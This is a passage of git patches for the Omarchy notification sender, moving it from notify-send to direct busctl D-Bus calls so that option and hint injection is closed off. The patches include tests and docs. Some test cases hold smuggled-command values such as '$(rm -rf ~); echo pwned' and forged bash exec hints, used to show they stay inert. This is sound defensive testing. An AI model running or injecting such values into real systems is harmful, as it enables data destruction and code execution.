3 deletions(-) diff --git a/shell/plugins/notifications/NotificationLogic.js b/shell/plugins/notifications/NotificationLogic.js index 849521c2..9bad602d 100644 --- a/shell/plugins/notifications/NotificationLogic.js +++ b/shell/plugins/notifications/NotificationLogic.js @@ -66,9 +66,13 @@ function execArgvFromHints(hints) { return stringHint(hints, "omarchy-exec-argv") } -// Validate a persisted omarchy-exec-argv into a runnable argv, or null. Fails -// closed so a malformed/hostile hint never reaches a shell: must be a non-empty -// JSON array of strings whose program is present and not a leading-dash option. +// Validate a persisted omarchy-exec-argv into a runnable argv, or null. This is +// a STRUCTURAL check only: it fails closed on a malformed hint (non-array, a +// non-string or empty program, or a leading-dash program that argv would read as +// an option). It does not judge intent — a well-formed ["bash","-c",…] is +// accepted. WHICH senders may set this hint is a separate boundary: any +// session-bus process can, by the freedesktop protocol's design (see +// docs/notifications.md), which is equivalent to same-uid code execution. function parseExecArgv(value) { var text = String(value || "") if (!text) return null From e3729a385b2be0b1bedcde0d2fe8dd786e2bb9d6 Mon Sep 17 00:00:00 2001 From: Ryan Hughes Date: Sun, 23 Aug 2026 17:02:29 -0400 Subject: [PATCH 026/336] Send notifications via the Notify D-Bus method, never notify-send MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit omarchy-notification-send now calls org.freedesktop.Notifications.Notify directly with `busctl --user`, instead of shelling out to notify-send. Each value is one typed D-Bus parameter, so there is no argv/option layer that could reinterpret a relayed headline like `--hint=…` or `-rf` as an option or a hint: the summary and body are strings, and omarchy-exec-argv is built only from --exec. A leading `--` keeps busctl's own getopt from reading a dash-leading value as a busctl option. Map -i to app_icon, -t to expire_timeout, and urgency to the byte hint; unknown options are now a hard error rather than a silent pass-through. Route the unused hypr o.notify helper and the sample hooks through the wrapper too, and tighten the bin-style test so nothing under bin/ may call notify-send. The test stubs busctl and trips if notify-send is invoked. --- bin/omarchy-notification-send | 118 +++++++----- .../font-set.d/show-font-notification.sample | 2 +- .../omarchy/hooks/post-boot.d/weather.sample | 2 +- .../show-update-notification.sample | 2 +- .../show-theme-notification.sample | 2 +- default/hypr/helpers.lua | 2 +- docs/notifications.md | 36 ++-- test/shell.d/bin-style-test.sh | 5 +- test/shell.d/chromium-ytdlp-test.sh | 8 +- test/shell.d/notification-send-test.sh | 176 ++++++++++-------- 10 files changed, 206 insertions(+), 147 deletions(-) diff --git a/bin/omarchy-notification-send b/bin/omarchy-notification-send index 773e87d7..57f94396 100755 --- a/bin/omarchy-notification-send +++ b/bin/omarchy-notification-send @@ -1,7 +1,7 @@ #!/bin/bash # omarchy:summary=Send an Omarchy desktop notification -# omarchy:args=[--app-name ] [-g ] [-u ] [--image ] [description] [notify-send options] [--exec [args...]] +# omarchy:args=[--app-name ] [-g ] [-u ] [-i ] [-t ] [--image ] [description] [--exec [args...]] # omarchy:examples=omarchy notification send "Reminder" "5 minutes are up" -g 󰢌 set -euo pipefail @@ -11,46 +11,63 @@ description="" glyph= urgency="low" app_name="omarchy-action" +app_icon="" image= +expire_timeout=-1 exec_args=() exec_present=0 -args=() parsed_option_args=0 +usage() { + echo "Usage: omarchy-notification-send [--app-name ] [-g ] [-u ] [-i ] [-t ] [--image ] [description] [--exec [args...]]" >&2 +} + +need_value() { + if (($1 < 2)); then + echo "Missing value for $2" >&2 + exit 1 + fi +} + parse_omarchy_option() { case $1 in -g | --glyph) - if (($# < 2)); then - echo "Missing value for $1" >&2 - exit 1 - fi + need_value $# "$1" glyph=$2 parsed_option_args=2 return 0 ;; -u | --urgency) - if (($# < 2)); then - echo "Missing value for $1" >&2 - exit 1 - fi + need_value $# "$1" urgency="$2" parsed_option_args=2 return 0 ;; --app-name) - if (($# < 2)); then - echo "Missing value for $1" >&2 - exit 1 - fi + need_value $# "$1" app_name=$2 parsed_option_args=2 return 0 ;; - --image) - if (($# < 2)); then - echo "Missing value for $1" >&2 + -i | --icon) + need_value $# "$1" + app_icon=$2 + parsed_option_args=2 + return 0 + ;; + -t | --expire-time) + need_value $# "$1" + if [[ $2 != *[!0-9-]* && $2 =~ ^-?[0-9]+$ ]]; then + expire_timeout=$2 + else + echo "Invalid $1 value (milliseconds expected): $2" >&2 exit 1 fi + parsed_option_args=2 + return 0 + ;; + --image) + need_value $# "$1" image=$2 parsed_option_args=2 return 0 @@ -69,7 +86,7 @@ while (($# > 0)); do done if (($# < 1)); then - echo "Usage: omarchy-notification-send [--app-name ] [-g ] [-u ] [--image ] [description] [notify-send options] [--exec [args...]]" + usage exit 1 fi @@ -97,33 +114,35 @@ while (($# > 0)); do elif parse_omarchy_option "$@"; then shift "$parsed_option_args" else - # --exec is the only door to a click command. A relayed title or filename - # that lands here -- passthrough is the one position an untrusted value can - # still reach notify-send as an option -- must not be able to set the hint - # itself, which is the injection this transport exists to close. - if [[ $1 == *omarchy-exec-argv* ]]; then - echo "The click command hint can only be set with --exec, not passed through." >&2 - exit 1 - fi - args+=("$1") - shift + echo "Unknown option: $1" >&2 + usage + exit 1 fi done -# Tag as a user-action toast so it pops through DND. -args+=("-a" "$app_name" "-u" "$urgency") +case $urgency in +low) urgency_byte=0 ;; +normal) urgency_byte=1 ;; +critical) urgency_byte=2 ;; +*) + echo "Unknown urgency: $urgency (use low, normal, or critical)" >&2 + exit 1 + ;; +esac + +# a{sv} hints, as busctl triples (key, variant type, value). urgency is a byte; +# the rest are strings. The click command rides here as omarchy-exec-argv, built +# only from --exec below. +hints=(urgency y "$urgency_byte") if [[ -n $glyph ]]; then - args+=("--hint=string:omarchy-glyph:$glyph") + hints+=(omarchy-glyph s "$glyph") fi if [[ -n $image ]]; then - args+=("--hint=string:image-path:$image") + hints+=(image-path s "$image") fi -# The click command travels with the popup as an argv hint the shell runs -# itself, so restored toasts stay clickable and senders don't block on a -# libnotify action (which dies when the shell restarts). if ((exec_present)); then if ((${#exec_args[@]} == 0)); then echo "--exec needs a command: --exec [args...]" >&2 @@ -141,14 +160,25 @@ if ((exec_present)); then # NUL-delimit into jq so every byte survives as data: jq's own --args would eat # a bare "--", and a newline in an arg must not split the vector. exec_argv_json=$(printf '%s\0' "${exec_args[@]}" | jq -Rsc 'split("\u0000")[:-1]') - args+=("--hint=string:omarchy-exec-argv:$exec_argv_json") + hints+=(omarchy-exec-argv s "$exec_argv_json") fi -# `--` so notify-send reads the headline and description as text. Without it a -# headline beginning with a dash is parsed as options ("-rf x" becomes -r), and -# one shaped like `--hint=string:...` sets a hint of its own. -if [[ -n $description ]]; then - notify-send "${args[@]}" -- "$headline" "$description" -else - notify-send "${args[@]}" -- "$headline" -fi +hint_count=$((${#hints[@]} / 3)) + +# Call org.freedesktop.Notifications.Notify directly — never notify-send. Its +# argv parsing is the surface that reinterprets a relayed headline like +# `--hint=…` or `-rf` as options or hints; busctl takes each value as one typed +# D-Bus parameter instead, and the leading `--` keeps a dash-leading value +# (headline, description, a negative timeout) positional rather than a busctl +# option. So the summary and body are strings that can never become a hint, and +# omarchy-exec-argv is set only from --exec. +# +# Signature susssasa{sv}i: app_name, replaces_id, app_icon, summary, body, +# actions (empty), hints, expire_timeout. +busctl --user -- call \ + org.freedesktop.Notifications /org/freedesktop/Notifications \ + org.freedesktop.Notifications Notify susssasa{sv}i \ + "$app_name" 0 "$app_icon" "$headline" "$description" \ + 0 \ + "$hint_count" "${hints[@]}" \ + "$expire_timeout" >/dev/null diff --git a/config/omarchy/hooks/font-set.d/show-font-notification.sample b/config/omarchy/hooks/font-set.d/show-font-notification.sample index a75f2fa8..c1f50ee5 100644 --- a/config/omarchy/hooks/font-set.d/show-font-notification.sample +++ b/config/omarchy/hooks/font-set.d/show-font-notification.sample @@ -4,4 +4,4 @@ # To put it into use, remove .sample from this file name. # Example: Show the name of the font that was just set. -# notify-send -u low "New font" "Your new font is $1" +# omarchy-notification-send -u low "New font" "Your new font is $1" diff --git a/config/omarchy/hooks/post-boot.d/weather.sample b/config/omarchy/hooks/post-boot.d/weather.sample index 60a1c88f..01857cb7 100644 --- a/config/omarchy/hooks/post-boot.d/weather.sample +++ b/config/omarchy/hooks/post-boot.d/weather.sample @@ -6,5 +6,5 @@ weather=$(omarchy-weather-status 2>/dev/null) || true if [[ -n $weather && $weather != "Weather unavailable" ]]; then - notify-send -u low "$weather" + omarchy-notification-send -u low "$weather" fi diff --git a/config/omarchy/hooks/post-update.d/show-update-notification.sample b/config/omarchy/hooks/post-update.d/show-update-notification.sample index f6ba07b0..929e1e2a 100644 --- a/config/omarchy/hooks/post-update.d/show-update-notification.sample +++ b/config/omarchy/hooks/post-update.d/show-update-notification.sample @@ -4,4 +4,4 @@ # To put it into use, remove .sample from this file name. # Example: Show notification after the system has been updated. -# notify-send -u low "Update Performed" "Your system is now up to date" +# omarchy-notification-send -u low "Update Performed" "Your system is now up to date" diff --git a/config/omarchy/hooks/theme-set.d/show-theme-notification.sample b/config/omarchy/hooks/theme-set.d/show-theme-notification.sample index db19b298..d224db7c 100644 --- a/config/omarchy/hooks/theme-set.d/show-theme-notification.sample +++ b/config/omarchy/hooks/theme-set.d/show-theme-notification.sample @@ -4,4 +4,4 @@ # To put it into use, remove .sample from this file name. # Example: Show the name of the theme that was just set. -# notify-send -u low "New theme" "Your new theme is $1" +# omarchy-notification-send -u low "New theme" "Your new theme is $1" diff --git a/default/hypr/helpers.lua b/default/hypr/helpers.lua index d1affbc7..b1eb48fa 100644 --- a/default/hypr/helpers.lua +++ b/default/hypr/helpers.lua @@ -136,7 +136,7 @@ function o.bind_toggle(keys, description, toggle, options) end function o.notify(message) - return "notify-send -u low " .. shell_quote(message) + return "omarchy-notification-send -u low " .. shell_quote(message) end function o.window(match, rules) diff --git a/docs/notifications.md b/docs/notifications.md index cad18248..7651fd71 100644 --- a/docs/notifications.md +++ b/docs/notifications.md @@ -63,16 +63,25 @@ Ephemeral ones (the freedesktop `transient` hint, or an `app_name` of ## The sender contract `bin/omarchy-notification-send` is the one way Omarchy code sends -notifications — never raw `notify-send`. It translates its flags into -notify-send arguments and passes any unrecognized options through: +notifications — never raw `notify-send`. It calls +`org.freedesktop.Notifications.Notify` directly over the session bus (via +`busctl --user`), so each value is one typed D-Bus parameter and there is no +argv layer that could reinterpret a relayed headline as an option or a hint. Its +flags map onto that call: | Flag | Becomes | Meaning | |---|---|---| -| `-g` / `--glyph` | `--hint=string:omarchy-glyph:` | Nerd Font glyph for the icon slot when no image icon resolves | -| `--exec [args…]` | `--hint=string:omarchy-exec-argv:` | the click command; consumes the rest of the line, so it comes last. Each word is a discrete argument the shell runs without re-parsing (see below) | -| `--image` | `--hint=string:image-path:` | the standard freedesktop image hint | -| `--app-name` | `-a` | defaults to `omarchy-action` | -| `-u` / `--urgency` | `-u` | defaults to `low` | +| `-g` / `--glyph` | hint `omarchy-glyph` | Nerd Font glyph for the icon slot when no image icon resolves | +| `--exec [args…]` | hint `omarchy-exec-argv` | the click command; consumes the rest of the line, so it comes last. Each word is a discrete argument the shell runs without re-parsing (see below) | +| `--image` | hint `image-path` | the standard freedesktop image hint | +| `-i` / `--icon` | `app_icon` | themed icon name for the toast | +| `--app-name` | `app_name` | defaults to `omarchy-action` | +| `-u` / `--urgency` | hint `urgency` (byte) | `low`/`normal`/`critical`; defaults to `low` | +| `-t` / `--expire-time` | `expire_timeout` | milliseconds on screen; server default otherwise | + +Unknown flags are a hard error, not a silent pass-through: `--exec` is the only +door to a click command, and there is no generic option pass-through to smuggle +one through. The defaults are the point: an unadorned `omarchy-notification-send "Done"` is a low-urgency user-action toast that pops through DND and is treated as @@ -127,11 +136,14 @@ and needs no notification to execute code. What is fully closed is untrusted *content* — web notifications can't set the exec hint at all, and any relayed title/filename is confined to inert argument data. -The sender keeps that last part true rather than leaving it to each caller. The -headline and description go to `notify-send` behind a `--`, so a relayed value -beginning with a dash is text and not flags, and a word that reaches the -pass-through option position carrying `omarchy-exec-argv` is refused outright: -`--exec` is the only thing that may build a click command. +The sender keeps that last part true structurally rather than leaving it to each +caller. Because it calls `Notify` directly, the headline and description are +typed string parameters — a relayed value like `--hint=…` or `-rf` is the +summary or body, never an option or a hint, and there is no argv/option layer +(no `notify-send`) left to reinterpret it. `--exec` is the only thing that can +build the `omarchy-exec-argv` hint. (The leading `--` on the `busctl` call is a +belt for `busctl`'s own getopt, which would otherwise read a dash-leading value +as a `busctl` option; the summary/body themselves are never parsed as options.) ## Helper commands diff --git a/test/shell.d/bin-style-test.sh b/test/shell.d/bin-style-test.sh index e7824e9b..3f216734 100644 --- a/test/shell.d/bin-style-test.sh +++ b/test/shell.d/bin-style-test.sh @@ -9,7 +9,6 @@ raw_command_checks=$(rg -l 'command -v' "$ROOT/bin" \ [[ -z $raw_command_checks ]] || fail "bin commands use command helpers" "$raw_command_checks" pass "bin commands use command helpers" -raw_notifications=$(rg -l -P '^[[:space:]]*[^#[:space:]].*\bnotify-send\b' "$ROOT/bin" \ - | rg -v '/omarchy-notification-send$' || true) -[[ -z $raw_notifications ]] || fail "bin commands use the notification helper" "$raw_notifications" +raw_notifications=$(rg -l -P '^[[:space:]]*[^#[:space:]].*\bnotify-send\b' "$ROOT/bin" || true) +[[ -z $raw_notifications ]] || fail "bin commands use the notification helper, never notify-send" "$raw_notifications" pass "bin commands use the notification helper" diff --git a/test/shell.d/chromium-ytdlp-test.sh b/test/shell.d/chromium-ytdlp-test.sh index 99ef460f..6cd571c4 100755 --- a/test/shell.d/chromium-ytdlp-test.sh +++ b/test/shell.d/chromium-ytdlp-test.sh @@ -120,16 +120,16 @@ forged_title=$(host_fn decode_title '"Clip\nOMARCHY_FILE\tPlay me\t--include=not pass "yt-dlp native host keeps only the readable part of a forged title" host_fn decode_title '"--include=not-a-file"' && - fail "yt-dlp native host refuses a title notify-send would read as an option" -pass "yt-dlp native host refuses a title notify-send would read as an option" + fail "yt-dlp native host refuses a leading-dash title the notifier would reject as an option" +pass "yt-dlp native host refuses a leading-dash title the notifier would reject as an option" host_fn decode_title 'null' && fail "yt-dlp native host refuses a title that is not a JSON string" pass "yt-dlp native host refuses a title that is not a JSON string" dash_title=$(host_fn title_from_file "$download_dir/--include.mp4") -[[ $dash_title == "Video" ]] || fail "yt-dlp native host does not pass a leading-dash title to notify-send" "$dash_title" -pass "yt-dlp native host does not pass a leading-dash title to notify-send" +[[ $dash_title == "Video" ]] || fail "yt-dlp native host does not pass a leading-dash title to the notifier" "$dash_title" +pass "yt-dlp native host does not pass a leading-dash title to the notifier" # The click action passes the path as a discrete --exec argument (asserted # end-to-end below against the real download); `--` keeps mpv from parsing a diff --git a/test/shell.d/notification-send-test.sh b/test/shell.d/notification-send-test.sh index 60bb4f9c..2f4d531c 100644 --- a/test/shell.d/notification-send-test.sh +++ b/test/shell.d/notification-send-test.sh @@ -7,114 +7,132 @@ source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/base-test.sh" tmpdir=$(mktemp -d) trap 'rm -rf "$tmpdir"' EXIT -stub="$tmpdir/notify-send" args_file="$tmpdir/args" +# Stub the D-Bus transport and record the Notify call verbatim. printf '%s\n' \ '#!/bin/bash' \ - 'printf "%s\n" "$@" >"$OMARCHY_TEST_NOTIFY_ARGS"' \ - >"$stub" -chmod +x "$stub" + 'printf "%s\n" "$@" >"$OMARCHY_TEST_BUSCTL_ARGS"' \ + >"$tmpdir/busctl" +chmod +x "$tmpdir/busctl" + +# notify-send must never be used. If anything reaches for it, fail loudly. +printf '%s\n' '#!/bin/bash' 'echo "notify-send was invoked" >"$OMARCHY_TEST_NOTIFY_TRIPWIRE"; exit 3' \ + >"$tmpdir/notify-send" +chmod +x "$tmpdir/notify-send" +tripwire="$tmpdir/notify-send-was-used" send() { - OMARCHY_TEST_NOTIFY_ARGS="$args_file" PATH="$tmpdir:$ROOT/bin:$PATH" \ - omarchy-notification-send "$@" + OMARCHY_TEST_BUSCTL_ARGS="$args_file" OMARCHY_TEST_NOTIFY_TRIPWIRE="$tripwire" \ + PATH="$tmpdir:$ROOT/bin:$PATH" omarchy-notification-send "$@" } -# --exec consumes the rest of the line, so it comes after the headline/description. -send --app-name custom-app -g K -u critical --image /tmp/image.png \ - "Learn Keybindings" "Body" --exec omarchy-menu-keybindings 'a b' +# Notify(susssasa{sv}i) args, by position in the recorded busctl argv: +# 0 --user 1 -- 2 call 3 dest 4 path 5 iface 6 Notify 7 signature +# 8 app_name 9 replaces_id 10 app_icon 11 summary 12 body +# 13 actions-count 14 hint-count 15.. hint triples last expire_timeout +declare -a args +load() { mapfile -t args <"$args_file"; } +hint_count() { echo "${args[14]}"; } +has_hint() { # key + local i end=$((15 + 3 * ${args[14]})) + for ((i = 15; i < end; i += 3)); do [[ ${args[i]} == "$1" ]] && return 0; done + return 1 +} +hint_value() { # key -> variant value + local i end=$((15 + 3 * ${args[14]})) + for ((i = 15; i < end; i += 3)); do [[ ${args[i]} == "$1" ]] && { echo "${args[i + 2]}"; return 0; }; done + return 1 +} -mapfile -t args <"$args_file" +# ---------------------------------------------------------------- happy path +send --app-name custom-app -g K -u critical -i battery-caution -t 5000 \ + "Download complete" "A body" --exec mpv -- "/tmp/a b.mp4" +load -[[ ${args[0]} == "-a" ]] || fail "notification wrapper passes app flag" -[[ ${args[1]} == "custom-app" ]] || fail "notification wrapper uses custom app name" -[[ ${args[2]} == "-u" ]] || fail "notification wrapper passes urgency flag" -[[ ${args[3]} == "critical" ]] || fail "notification wrapper uses custom urgency" -[[ ${args[4]} == "--hint=string:omarchy-glyph:K" ]] || fail "notification wrapper converts glyph to hint" -[[ ${args[5]} == "--hint=string:image-path:/tmp/image.png" ]] || fail "notification wrapper converts image to hint" -[[ ${args[6]} == '--hint=string:omarchy-exec-argv:["omarchy-menu-keybindings","a b"]' ]] || fail "notification wrapper converts the click command to an argv hint" "${args[6]}" -[[ ${args[7]} == "--" ]] || fail "notification wrapper ends the options before the text" "${args[7]}" -[[ ${args[8]} == "Learn Keybindings" ]] || fail "notification wrapper preserves headline" -[[ ${args[9]} == "Body" ]] || fail "notification wrapper preserves description" -pass "notification wrapper supports app, glyph, urgency, image, and exec options" +[[ ${args[2]} == "call" ]] || fail "notification wrapper calls a bus method" +[[ ${args[3]} == "org.freedesktop.Notifications" ]] || fail "notification wrapper targets the notifications service" +[[ ${args[6]} == "Notify" ]] || fail "notification wrapper invokes Notify" +[[ ${args[8]} == "custom-app" ]] || fail "notification wrapper sets the app name" "${args[8]}" +[[ ${args[10]} == "battery-caution" ]] || fail "notification wrapper sets the app icon from -i" "${args[10]}" +[[ ${args[11]} == "Download complete" ]] || fail "notification wrapper sets the summary" "${args[11]}" +[[ ${args[12]} == "A body" ]] || fail "notification wrapper sets the body" "${args[12]}" +[[ ${args[-1]} == "5000" ]] || fail "notification wrapper sets the expire timeout from -t" "${args[-1]}" +[[ $(hint_value urgency) == "2" ]] || fail "notification wrapper maps critical urgency to 2" +[[ $(hint_value omarchy-glyph) == "K" ]] || fail "notification wrapper sets the glyph hint" +[[ $(hint_value omarchy-exec-argv) == '["mpv","--","/tmp/a b.mp4"]' ]] || fail "notification wrapper builds the click argv hint" "$(hint_value omarchy-exec-argv)" +pass "notification wrapper issues a Notify call with app, icon, urgency, glyph, and click argv" -# The shell runs the click command itself, so nothing may block the sender on a -# libnotify action round-trip. -grep -q -- "-A" "$args_file" && fail "notification wrapper must not register a libnotify action" +[[ -f $tripwire ]] && fail "notification wrapper must never invoke notify-send" +pass "notification wrapper never invokes notify-send" +# ---------------------------------------------------------------- no click cmd : >"$args_file" send "Plain" >/dev/null -grep -q "omarchy-exec" "$args_file" && fail "notification wrapper adds no exec hint without --exec" -pass "notification wrapper omits the exec hint when no command is given" +load +has_hint omarchy-exec-argv && fail "notification wrapper adds no click hint without --exec" +[[ ${args[11]} == "Plain" ]] || fail "notification wrapper still sends a plain toast" +pass "notification wrapper omits the click hint when no command is given" -# Rest-of-line --exec: the caller's shell has already split the words into -# discrete arguments, and the shell runs them without re-parsing, so shell -# metacharacters in a value are carried as data, never as a command. +# ------------------------------------------------ rest-of-line --exec is literal : >"$args_file" send "Download complete" --exec mpv -- '$(rm -rf ~); echo pwned' >/dev/null -argv_hint=$(grep -- "--hint=string:omarchy-exec-argv:" "$args_file") -argv_json=${argv_hint#--hint=string:omarchy-exec-argv:} -[[ $(jq -r '.[0]' <<<"$argv_json") == "mpv" ]] || fail "notification wrapper puts the program first in the exec argv" -[[ $(jq -r '.[1]' <<<"$argv_json") == "--" ]] || fail "notification wrapper preserves a -- separator in the exec argv" -[[ $(jq -r '.[2]' <<<"$argv_json") == '$(rm -rf ~); echo pwned' ]] || - fail "notification wrapper carries shell metacharacters as literal argv data" "$argv_json" -pass "notification wrapper encodes rest-of-line --exec as a literal JSON argv vector" +load +json=$(hint_value omarchy-exec-argv) +[[ $(jq -r '.[0]' <<<"$json") == "mpv" ]] || fail "click argv program is first" +[[ $(jq -r '.[2]' <<<"$json") == '$(rm -rf ~); echo pwned' ]] || fail "click argv carries metacharacters as literal data" "$json" +pass "rest-of-line --exec is a literal argv vector" -# A quoted argument with spaces stays ONE argument — something a whitespace-split -# of a single string could never do. +# A quoted argument with spaces stays ONE argument. : >"$args_file" send "Head" --exec mpv -- "/tmp/a b.mp4" >/dev/null -argv_hint=$(grep -- "--hint=string:omarchy-exec-argv:" "$args_file") -argv_json=${argv_hint#--hint=string:omarchy-exec-argv:} -[[ $(jq 'length' <<<"$argv_json") == 3 ]] || fail "notification wrapper keeps a spaced path as one argument" "$argv_json" -[[ $(jq -r '.[2]' <<<"$argv_json") == "/tmp/a b.mp4" ]] || fail "notification wrapper preserves the spaced path verbatim" "$argv_json" +load +[[ $(jq 'length' <<<"$(hint_value omarchy-exec-argv)") == 3 ]] || fail "spaced path stays one argument" pass "notification wrapper keeps a spaced argument intact" -# The muscle-memory trap: a single quoted whole command would run a program named -# with spaces. Reject it and point at the unquoted form rather than splitting it -# ourselves (which is the injection we avoid). +# ---------------------------------------------------------------- injections +# A forged click hint arriving as the SUMMARY is a typed string parameter — it +# can never become a hint. Only urgency is set; no click command exists. : >"$args_file" +send '--hint=string:omarchy-exec-argv:["bash","-c","touch /tmp/pwn"]' "body" >/dev/null +load +has_hint omarchy-exec-argv && fail "a forged-hint headline must not set a click command" +[[ ${args[11]} == '--hint=string:omarchy-exec-argv:["bash","-c","touch /tmp/pwn"]' ]] || fail "the forged headline is the summary text" "${args[11]}" +pass "a forged click hint in the headline is inert summary text" + +# A dash-leading forged hint in description position is refused outright. +: >"$args_file" +if send "Update" '--hint=string:omarchy-exec-argv:["bash","-c","touch /tmp/pwn"]' 2>/dev/null; then + fail "a forged-hint description must be refused" +fi +[[ -s $args_file ]] && fail "nothing is sent when the description forges a hint" +pass "a forged click hint in the description is refused" + +# An unknown option is a hard error, not a silent pass-through. +if send "Head" --bogus 2>/dev/null; then + fail "notification wrapper rejects an unknown option" +fi +pass "notification wrapper rejects an unknown option" + +# ---------------------------------------------------------------- --exec guards +# --exec is recognized only after the positionals: a headline literally "--exec" +# is text, and the real trailing --exec still wins. +: >"$args_file" +send "--exec" "a body" --image /tmp/i.png --exec mpv -- /tmp/v.mp4 >/dev/null +load +[[ $(hint_value omarchy-exec-argv) == '["mpv","--","/tmp/v.mp4"]' ]] || fail "a --exec-looking headline is not the delimiter" "$(hint_value omarchy-exec-argv)" +[[ ${args[11]} == "--exec" ]] || fail "a --exec-looking headline is kept as text" +pass "a --exec-looking positional is not treated as the delimiter" + +# A single quoted whole-command is rejected (splitting it ourselves is the +# injection we avoid). if send "Head" --exec "omarchy toggle something" 2>/dev/null; then fail "notification wrapper rejects a quoted whole command" fi -grep -q "omarchy-exec" "$args_file" && fail "notification wrapper emits no hint for a rejected --exec" pass "notification wrapper rejects a single quoted whole command" -# --exec with nothing after it is a usage error, not a silent no-op. +# --exec with nothing after it is a usage error. if send "Head" --exec 2>/dev/null; then fail "notification wrapper rejects --exec with no command" fi pass "notification wrapper rejects --exec with no command" - -# --exec is recognized only after the positionals, so an untrusted headline or -# description that is literally "--exec" is taken as text and cannot be mistaken -# for the delimiter (the real --exec later still wins). -: >"$args_file" -send "--exec" "a body" --image /tmp/i.png --exec mpv -- /tmp/v.mp4 >/dev/null -argv_hint=$(grep -- "--hint=string:omarchy-exec-argv:" "$args_file") -argv_json=${argv_hint#--hint=string:omarchy-exec-argv:} -[[ $(jq -c '.' <<<"$argv_json") == '["mpv","--","/tmp/v.mp4"]' ]] || fail "notification wrapper ignores a --exec-looking headline as the delimiter" "$argv_json" -grep -qx -- "--exec" "$args_file" || fail "notification wrapper keeps a --exec-looking headline as text" -grep -q 'image-path:/tmp/i.png' "$args_file" || fail "notification wrapper still parses options after a --exec-looking headline" -pass "notification wrapper does not treat a --exec-looking positional as the delimiter" - -# The headline and description are text, never options. notify-send parses a -# leading-dash summary as flags ("-rf x" is -r with the value x) and reads a -# `--hint=string:...` word as a hint, so they go behind a `--` separator. -: >"$args_file" -send "-rf oops" "a body" >/dev/null -mapfile -t args <"$args_file" -[[ ${args[-3]} == "--" ]] || fail "notification wrapper separates a dash headline from the options" "${args[*]}" -[[ ${args[-2]} == "-rf oops" ]] || fail "notification wrapper keeps a dash headline as text" "${args[*]}" -[[ ${args[-1]} == "a body" ]] || fail "notification wrapper keeps the description after a dash headline" "${args[*]}" -pass "notification wrapper hands the headline to notify-send as text, not options" - -# The click command has exactly one door. A relayed title or filename that -# reaches option position must not be able to forge the hint --exec produces. -: >"$args_file" -if send "Download complete" '--hint=string:omarchy-exec-argv:["sh","-c","touch /tmp/pwned"]' 2>/dev/null; then - fail "notification wrapper rejects a forged click-command hint" -fi -grep -q "omarchy-exec-argv" "$args_file" && fail "notification wrapper sends nothing when a click hint is forged" -pass "notification wrapper refuses a click-command hint it did not build from --exec" From 8f245e59dccd16b6104e58a7f3f83b82c032855b Mon Sep 17 00:00:00 2001 From: Ryan Hughes Date: Sun, 23 Aug 2026 17:18:58 -0400 Subject: [PATCH 027/336] Restore notify-send option parity and prove legacy fail-closed The direct-Notify rewrite dropped notify-send options that callers rely on, which the momus review caught: omarchy-display-text-size uses -r/-p to refresh one toast in place, and the acceptance suite uses the --expire-time=15000 equals form. Re-add -r/--replace-id (replaces_id), -p/--print-id (emit the returned id), and the --flag=value form for every long option; a dash-leading description like "-50% off" is now kept as body text rather than erroring, and --exec "" is rejected. Add a fixture proving the deliberate upgrade behavior: a popup persisted by a pre-upgrade shell with a legacy `exec` shell string restores with an inert click (execArgv empty, the old string never run) rather than executing it. --- bin/omarchy-notification-send | 139 +++++++++++++++---------- test/shell.d/notification-send-test.sh | 66 ++++++++++-- test/shell.d/notifications-test.sh | 13 +++ 3 files changed, 152 insertions(+), 66 deletions(-) diff --git a/bin/omarchy-notification-send b/bin/omarchy-notification-send index 57f94396..9e7fd049 100755 --- a/bin/omarchy-notification-send +++ b/bin/omarchy-notification-send @@ -1,7 +1,7 @@ #!/bin/bash # omarchy:summary=Send an Omarchy desktop notification -# omarchy:args=[--app-name ] [-g ] [-u ] [-i ] [-t ] [--image ] [description] [--exec [args...]] +# omarchy:args=[--app-name ] [-g ] [-u ] [-i ] [-t ] [-r ] [-p] [--image ] [description] [--exec [args...]] # omarchy:examples=omarchy notification send "Reminder" "5 minutes are up" -g 󰢌 set -euo pipefail @@ -14,67 +14,72 @@ app_name="omarchy-action" app_icon="" image= expire_timeout=-1 +replaces_id=0 +print_id=0 exec_args=() exec_present=0 parsed_option_args=0 usage() { - echo "Usage: omarchy-notification-send [--app-name ] [-g ] [-u ] [-i ] [-t ] [--image ] [description] [--exec [args...]]" >&2 + echo "Usage: omarchy-notification-send [--app-name ] [-g ] [-u ] [-i ] [-t ] [-r ] [-p] [--image ] [description] [--exec [args...]]" >&2 } -need_value() { - if (($1 < 2)); then - echo "Missing value for $2" >&2 +# Recognize a known option, in both `--flag value` and `--flag=value` forms. +# Returns 1 for anything unrecognized so the caller can decide (headline, or a +# hard error in option position). +parse_omarchy_option() { + local opt val nargs + if [[ $1 == --?*=* ]]; then + opt=${1%%=*} + val=${1#*=} + nargs=1 + else + opt=$1 + val=${2-} + nargs=2 + fi + + # -p/--print-id is a flag; it takes no value. + if [[ $opt == -p || $opt == --print-id ]]; then + print_id=1 + parsed_option_args=1 + return 0 + fi + + case $opt in + -g | --glyph | -u | --urgency | --app-name | -i | --icon | --image | -r | --replace-id | -t | --expire-time) ;; + *) return 1 ;; + esac + + if ((nargs == 2)) && (($# < 2)); then + echo "Missing value for $opt" >&2 exit 1 fi -} -parse_omarchy_option() { - case $1 in - -g | --glyph) - need_value $# "$1" - glyph=$2 - parsed_option_args=2 - return 0 - ;; - -u | --urgency) - need_value $# "$1" - urgency="$2" - parsed_option_args=2 - return 0 - ;; - --app-name) - need_value $# "$1" - app_name=$2 - parsed_option_args=2 - return 0 - ;; - -i | --icon) - need_value $# "$1" - app_icon=$2 - parsed_option_args=2 - return 0 + case $opt in + -g | --glyph) glyph=$val ;; + -u | --urgency) urgency=$val ;; + --app-name) app_name=$val ;; + -i | --icon) app_icon=$val ;; + --image) image=$val ;; + -r | --replace-id) + [[ $val =~ ^[0-9]+$ ]] || { + echo "Invalid $opt value (numeric id expected): $val" >&2 + exit 1 + } + replaces_id=$val ;; -t | --expire-time) - need_value $# "$1" - if [[ $2 != *[!0-9-]* && $2 =~ ^-?[0-9]+$ ]]; then - expire_timeout=$2 - else - echo "Invalid $1 value (milliseconds expected): $2" >&2 + [[ $val =~ ^-?[0-9]+$ ]] || { + echo "Invalid $opt value (milliseconds expected): $val" >&2 exit 1 - fi - parsed_option_args=2 - return 0 - ;; - --image) - need_value $# "$1" - image=$2 - parsed_option_args=2 - return 0 + } + expire_timeout=$val ;; esac - return 1 + parsed_option_args=$nargs + return 0 } while (($# > 0)); do @@ -93,7 +98,18 @@ 